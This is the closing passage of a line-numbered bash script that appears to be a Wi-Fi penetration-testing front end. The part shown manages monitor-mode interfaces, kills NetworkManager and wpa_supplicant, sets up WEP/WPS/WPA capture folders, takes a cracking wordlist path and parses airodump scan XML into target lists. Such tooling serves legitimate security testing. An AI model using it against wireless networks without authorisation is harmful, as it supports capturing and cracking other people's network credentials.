  4648. $cyan
  4649. echo "If Nothing Is Entered, Then Default Values Are Used"
  4650. $white
  4651. echo ""
  4652. echo ""
  4653. read manualSelectionMonitor
  4654. case "$manualSelectionMonitor" in
  4655. "")
  4656. interfaceMonitor="$interface""mon"
  4657. ;;
  4658. *)
  4659. interfaceMonitor="$manualSelectionMonitor""mon"
  4660. interfaceName="$manualSelectionMonitor""mon"
  4661. ;;
  4662. esac
  4663. ;;
  4664. "W" | "w")
  4665. #returnTo="getWirelessInterfaces"
  4666. #spoofMacAddress
  4667. getWirelessInterfaces
  4668. ;;
  4669. *)
  4670. getWirelessInterfaces
  4671. ;;
  4672. esac
  4673. #echo "$interface"
  4674. #echo "$interfaceMonitor"
  4675. #read pause
  4676. }
  4677. disableChannelHopping(){
  4678. sleep 1
  4679. ifconfig $interface down
  4680. }
  4681. enableChannelHopping(){
  4682. sleep 1
  4683. ifconfig $interface up
  4684. }
  4685. interfaceUp(){
  4686. #ifconfig $interface up
  4687. ifconfig $interfaceMonitor up
  4688. }
  4689. interfaceDown(){
  4690. #ifconfig $interface down
  4691. ifconfig $interfaceMonitor down
  4692. }
  4693. interfaceManaged(){
  4694. #iwconfig wlan0mon mode managed
  4695. iwconfig $interfaceMonitor mode managed
  4696. }
  4697. interfaceMonitor(){
  4698. #iwconfig wlan0mon mode monitor
  4699. iwconfig $interfaceMonitor mode monitor
  4700. }
  4701. fixKaliTwoMonError(){
  4702. currentTask="fixKaliTwoMonError"
  4703. case "$isDebugMode" in
  4704. "1")
  4705. echo "DEBUG: Kali 2.x Fix - Step 1"
  4706. echo ""
  4707. echo "$interface"
  4708. echo "$interfaceMonitor"
  4709. read pause
  4710. ;;
  4711. esac
  4712. ifconfig $interfaceMonitor down
  4713. sleep 2
  4714. iwconfig $interfaceMonitor mode monitor
  4715. sleep 2
  4716. ifconfig $interfaceMonitor up
  4717. case "$isDebugMode" in
  4718. "1")
  4719. echo "DEBUG: Kali 2.x Fix - Step 2"
  4720. echo ""
  4721. echo "$interface"
  4722. echo "$interfaceMonitor"
  4723. read pause
  4724. ;;
  4725. esac
  4726. }
  4727. ############################################################################
  4728. # INTERFACE STUFF END ##################################################
  4729. ############################################################################
  4730. ############################################################################
  4731. # MISC STUFF BEGIN #####################################################
  4732. ############################################################################
  4733. # Reset Session Values Back To Default
  4734. setDefaultSession(){
  4735. currentTask="setDefaultSession"
  4736. sessionID="0"
  4737. capturePath=$(echo "$PWD/sessions")
  4738. capturePathWEP=$(echo "$PWD/sessions/wep")
  4739. capturePathWPS=$(echo "$PWD/sessions/wps")
  4740. capturePathWPA=$(echo "$PWD/sessions/wpa")
  4741. capturePathWPA2=$(echo "$PWD/sessions/wpa2")
  4742. }
  4743. getCustomList(){
  4744. banner
  4745. bannerStats
  4746. currentTask="getCustomList"
  4747. echo ""
  4748. echo "Enter the path to the list and press ENTER:"
  4749. echo ""
  4750. echo ""
  4751. echo "Example: /pentest/wordlists/dictionary1.txt"
  4752. echo ""
  4753. echo ""
  4754. read tmpCustomList
  4755. case "$tmpCustomList" in
  4756. "")
  4757. getCustomList
  4758. ;;
  4759. *)
  4760. wordlist="$tmpCustomList"
  4761. ;;
  4762. esac
  4763. }
  4764. getBSSIDCharOnly(){
  4765. currentTask="getBSSIDCharOnly"
  4766. if [ "$bssid" != "" ];then
  4767. bssidCharOnly=$(echo $bssid | sed 's/[\:]//g')
  4768. fi
  4769. }
  4770. getCurrentDate(){
  4771. displayDate=$(date +"%D")
  4772. displayDate2=$(date +"%Y-%m-%d")
  4773. displayDate3=$(date +"%Y%m%d")
  4774. }
  4775. getCurrentTime(){
  4776. displayTime=$(date +"%T")
  4777. }
  4778. getCurrentDateAndTime(){
  4779. displayDateAndTime=$(date +"%D - %T")
  4780. displayDateAndTime2=$(date +"%Y%m%d / %T")
  4781. displayDateAndTime3=$(date +"%Y-%m-%d / %T")
  4782. }
  4783. fixNegativeOneChannelError(){
  4784. airmon-ng check kill
  4785. }
  4786. startNetworkManager(){
  4787. NetworkManager
  4788. }
  4789. killNetworkManager(){
  4790. currentPID=$(ps -A | grep NetworkManager | cut -c 1-5)
  4791. killTask=$(kill $currentPID)
  4792. #echo "$currentPID"
  4793. #echo "$killTask"
  4794. #read pause
  4795. }
  4796. wpaSupplicantKill(){
  4797. currentTask="wpaSupplicantKill"
  4798. #currentPID=$(ps -A | grep wpa_supplicant | cut -c 1-5)
  4799. #killTask=$(kill $currentPID)
  4800. killall wpa_supplicant
  4801. #echo "$currentPID"
  4802. #echo "$killTask"
  4803. #read pause
  4804. }
  4805. wpaSupplicantEnable(){
  4806. currentTask="wpaSupplicantEnable"
  4807. systemctl enable wpa_supplicant
  4808. }
  4809. wpaSupplicantDisable(){
  4810. currentTask="wpaSupplicantDisable"
  4811. systemctl disable wpa_supplicant
  4812. }
  4813. # This will output all variables and values currently in use, and is for debugging purposes only
  4814. dumpEnvironment(){
  4815. currentTask="dumpEnvironment"
  4816. }
  4817. readXML(){
  4818. local ifsType="$1"
  4819. local ifsCustom="$2"
  4820. currentTask="readXML"
  4821. case "$ifsType" in
  4822. "")
  4823. local IFS=\> ; read -d \< E C ;
  4824. ;;
  4825. "essid")
  4826. local IFS=\> ; read -d \< E C ;
  4827. ;;
  4828. "bssid")
  4829. local IFS=\> ; read -d \< E C ;
  4830. ;;
  4831. "channel")
  4832. local IFS=\> ; read -d \< E C ;
  4833. ;;
  4834. # Takes 2 parameters
  4835. "custom")
  4836. local IFS=$ifsCustom ; read -d $ifsCustom E C ;
  4837. ;;
  4838. esac
  4839. }
  4840. openScanTargetsAsText(){
  4841. while readXML "essid" ""; do
  4842. if [[ $E = " cloaked=\"false\"" ]]; then
  4843. echo $C
  4844. fi
  4845. done < "$defaultScanOutputXML" >> "$defaultScanOutputTXT"
  4846. while readXML "bssid" ""; do
  4847. if [[ $E = BSSID ]]; then
  4848. echo $C
  4849. fi
  4850. done < "$defaultScanOutputXML" >> "$defaultScanOutputTXT"
  4851. while readXML "channel" ""; do
  4852. if [[ $E = channel ]]; then
  4853. echo $C
  4854. fi
  4855. done < "$defaultScanOutputXML" >> "$defaultScanOutputTXT"
  4856. $terminal gedit "$defaultScanOutputTXT"
  4857. }
  4858. cleanTempScanResultsFile(){
  4859. flag="$1"
  4860. case "$flag" in
  4861. "all")
  4862. rm "$defaultScanOutputIVS"
  4863. rm "$defaultScanOutputXML"
  4864. rm "$defaultScanOutputTXT"
  4865. ;;
  4866. "ivs")
  4867. rm "$defaultScanOutputIVS"
  4868. ;;
  4869. "xml")
  4870. rm "$defaultScanOutputXML"
  4871. ;;
  4872. "txt")
  4873. rm "$defaultScanOutputTXT"
  4874. ;;
  4875. esac
  4876. }
  4877. ############################################################################
  4878. # MISC STUFF END #######################################################
  4879. ############################################################################
  4880. ############################################################################
  4881. # INITIAL LAUNCH BEGIN #################################################
  4882. ############################################################################
  4883. initMain
  4884. ############################################################################
  4885. # INITIAL LAUNCH END ###################################################
  4886. ############################################################################

comments powered by Disqus